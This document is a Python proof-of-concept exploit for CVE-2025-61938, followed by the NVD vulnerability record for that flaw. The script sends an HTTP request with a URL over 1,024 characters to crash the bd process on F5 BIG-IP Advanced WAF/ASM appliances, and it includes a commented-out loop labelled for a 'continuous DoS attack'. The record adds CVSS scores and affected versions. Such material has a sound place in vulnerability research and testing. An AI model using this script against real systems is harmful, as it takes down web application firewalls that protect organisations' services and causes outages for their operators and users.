CVE-2025-61938

#!/usr/bin/env python3 # CVE-2025-61938 - F5 BIG-IP Advanced WAF/ASM Data Guard DoS PoC # This PoC demonstrates how to trigger the bd process crash by sending # an HTTP request with a URL longer than 1024 characters that matches # a Data Guard Protection Enforcement policy. import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "https://target-bigip.example.com" TARGET_PORT = sys.argv[2] if len(sys.argv) > 2 else 443 # Construct a URL longer than 1024 characters # The URL path needs to match a configured Data Guard policy pattern long_path = "/" + "A" * 1020 # 1021 characters total # Build the full URL target_url = f"{TARGET_HOST}:{TARGET_PORT}{long_path}" print(f"[*] Targeting: {TARGET_HOST}") print(f"[*] Sending request with URL length: {len(long_path)} characters") # Send the malicious request try: response = requests.get( target_url, verify=False, timeout=10, headers={ "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-61938-PoC)", "Accept": "*/*", "Connection": "close" } ) print(f"[*] Response status: {response.status_code}") print(f"[*] Response length: {len(response.content)}") print("[+] Request sent successfully. Check if bd process has crashed.") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") print("[*] Connection failure may indicate bd process crash.") # For continuous DoS attack, uncomment the following loop: # while True: # try: # requests.get(target_url, verify=False, timeout=5) # except: # pass

{"cve": {"id": "CVE-2025-61938", "sourceIdentifier": "[email protected]", "published": "2025-10-15T14:15:56.643", "lastModified": "2025-10-21T20:30:15.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "When a BIG-IP Advanced WAF or ASM security policy is configured with a URL greater than 1024 characters in length for the Data Guard Protection Enforcement setting, either manually or through the automatic Policy Builder, the bd process can terminate repeatedly.  Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.1.0", "versionEndExcluding": "17.1.3", "matchCriteriaId": "0B24E3BE-8A62-4819-B63C-01EE10E6160F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_advanced_web_application_firewall:17.5.0:*:*:*:*:*:*:*", "matchCriteriaId": "03D43E1A-B542-4C95-ABEF-1DFE82D55513"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_application_security_manager:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.1.0", "versionEndExcluding": "17.1.3", "matchCriteriaId": "BF0F0A9D-1B7E-4271-B309-64399AC7DD89"}, {"vulnerable": true, "criteria": "cpe:2.3:a:f5:big-ip_application_security_manager:17.5.0:*:*:*:*:*:*:*", "matchCriteriaId": "3F78E5C4-6687-4C78-88FA-0F6BD878859E"}]}]}], "references": [{"url": "https://my.f5.com/manage/s/article/K000156624", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}